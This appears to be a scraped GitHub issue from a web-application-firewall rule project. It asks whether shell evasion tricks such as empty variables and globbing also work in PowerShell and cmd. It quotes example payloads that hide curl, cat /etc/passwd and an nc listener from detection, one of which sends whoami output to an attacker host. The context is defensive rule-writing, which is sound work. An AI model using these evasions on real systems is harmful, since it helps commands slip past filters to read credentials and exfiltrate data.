question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Check aliasing / empty variable evasions in PowerShell / cmd

See original GitHub issue

In https://github.com/coreruleset/coreruleset/issues/2632 we investigated evasions in *nix shells, where an empty variable can be used to evade command word detection. Find out, whether the same vulnerabilities exist in PowerShell / cmd and add protections as in https://github.com/coreruleset/coreruleset/issues/2632.

AFAICT from a quick test, PowerShell is not vulnerable to ec${doesnotexist}ho.

Examples from https://github.com/coreruleset/coreruleset/issues/2632:

  • using variables 1: a=curl&&b=whoami&&$a http://attacker.net/$b
  • using variables 2: a=/etc&&b=/passwd&&c=cat&&$c $a$b
  • globbing 1: {n$u\c$u,-nlvp,777}
  • globbing 2: garb=cur[l];$garb+google.com
  • vars + spacing: v=‘u’;cu$v\r\l google.com
  • non-existing vars: cu$@rl

Issue Analytics

  • State:open
  • Created a year ago
  • Comments:5 (5 by maintainers)

github_iconTop GitHub Comments

1reaction
theseioncommented, Dec 12, 2022

Yes. I just did a quick and dirty check, not a real review.

1reaction
fzipicommented, Dec 12, 2022

Hey @theseion ,what is needed here then? Review the expansions to the unix cmdline to see if we use the same for powershell?

Read more comments on GitHub >

github_iconTop Results From Across the Web

Get-Alias (Microsoft.PowerShell.Utility)
The Get-Alias cmdlet gets the aliases in the current session. This includes built-in aliases, aliases that you have set or imported, and aliases...
Read more >
Fun with PowerShell Payload Execution and Evasion - Medium
In this article, we're going to learn how to use COM objects and PowerShell in Windows to execute shell commands with a couple...
Read more >
PowerShell Obfuscation Detection Using Science - Black Hat
While these launch techniques do not evade PowerShell script block logging, they are challenging behaviours to detect through command-line logging alone.
Read more >
How to find cmdlet aliases in PowerShell - freshman.tech
Aliases in PowerShell are alternate names given to commands. ... Alias cls -> Clear-Host Alias clv -> Clear-Variable Alias cnsn ...
Read more >
Windows Environment variables - PowerShell - SS64.com
To list all the environment variables use: Get-Childitem env: (or just dir env:). Each environment variable is an object that can be retrieved...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found